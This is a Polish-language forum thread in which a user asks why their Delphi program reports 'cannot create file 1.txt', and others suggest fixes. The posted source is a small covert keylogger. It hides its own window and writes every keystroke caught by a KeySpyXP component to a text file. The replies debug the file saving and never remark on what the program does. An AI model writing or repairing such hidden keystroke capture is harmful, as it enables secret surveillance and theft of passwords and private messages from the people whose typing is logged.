cannot create file Pomocy

0

Mam problem mam program który zapisuje Memo1.Lines.SaveToFole('1.txt'), po włączeniu wyświetla mi się komunikat cannot create file 1.txt. Plik ten już jest.

0

To go skasuj najpierw.

0

To nic nie daje

0

to go (plik) zapisz w takim katalogu, co do którego jesteś pewien, że się da. bo jeśli odpalisz program z cd-romu, to za chiny ludowe nie zapiszesz na płycie tego pliku.
no chyba, że ręcznie wyrzeźbisz.

aha - SaveToFile, nie SaveToFole

0

Mam go na pulpicie i tak nie działa może to wina skryptu??

0

A może plik ten posiada jakiś niekorzystne atrybuty (np. ReadOnly)?

0

a może masz folder 1.txt to wtedy się nie da pliku o tej nazwie zrobić, chociaż nie wiem kto daje folderom rozszerzenie ale może wcześniej w kodzie się pomyliłeś i chciałeś zrobić coś z tym plikiem a wstawiłeś MkDir('1.txt') ;P

0

Mam go na pulpicie i tak nie działa może to wina skryptu??

Jakiego skryptu?

0

Oto kod, może w nim coś nie tak

unit program;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, KeySpyXP;

type
Tjohnny = class(TForm)
KeySpyXP1: TKeySpyXP;
Memo1: TMemo;
procedure KeySpyXP1Key(Sender: TObject; key: String);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
johnny: Tjohnny;
plik:TextFile;
implementation

{$R *.dfm}

procedure Tjohnny.KeySpyXP1Key(Sender: TObject; key: String);
begin
memo1.text:=memo1.text+key;

Memo1.Lines.SaveToFile('1.txt');

end;

procedure Tjohnny.FormCreate(Sender: TObject);
begin
application.ShowMainForm:=false;
memo1.lines.loadfromfile('1.txt');
end;

end.

0

Wygląda, że wszystko okej, ale podejrzana jest dla mnie zmienna plik:TextFile;, może nie umieściłeś całego kodu, a potem assignowany jest pod tą zmienną właśnie plik 1.txt i jest otwierany, a nie zamknięty.

0

nie wiem co to jest:

KeySpyXP1Key

ale jeśli to się wywołuje jak OnKeyDown np i wciskasz coś szybko to może kilka razy próbuje się zapisać w pliku i jeszcze nie zdążyło w poprzednim wątku zamknąć pliku czy coś w ten deseń :-/

0

proszę, dajcie sobie już z tym spokój - 10 odpowiedzi na pytanie jak zapisać plik. niech sobie kolega skorzysta z debugera i sam znajdzie byka, przy okazji sam się wiele nauczy.

1 użytkowników online, w tym zalogowanych: 0, gości: 1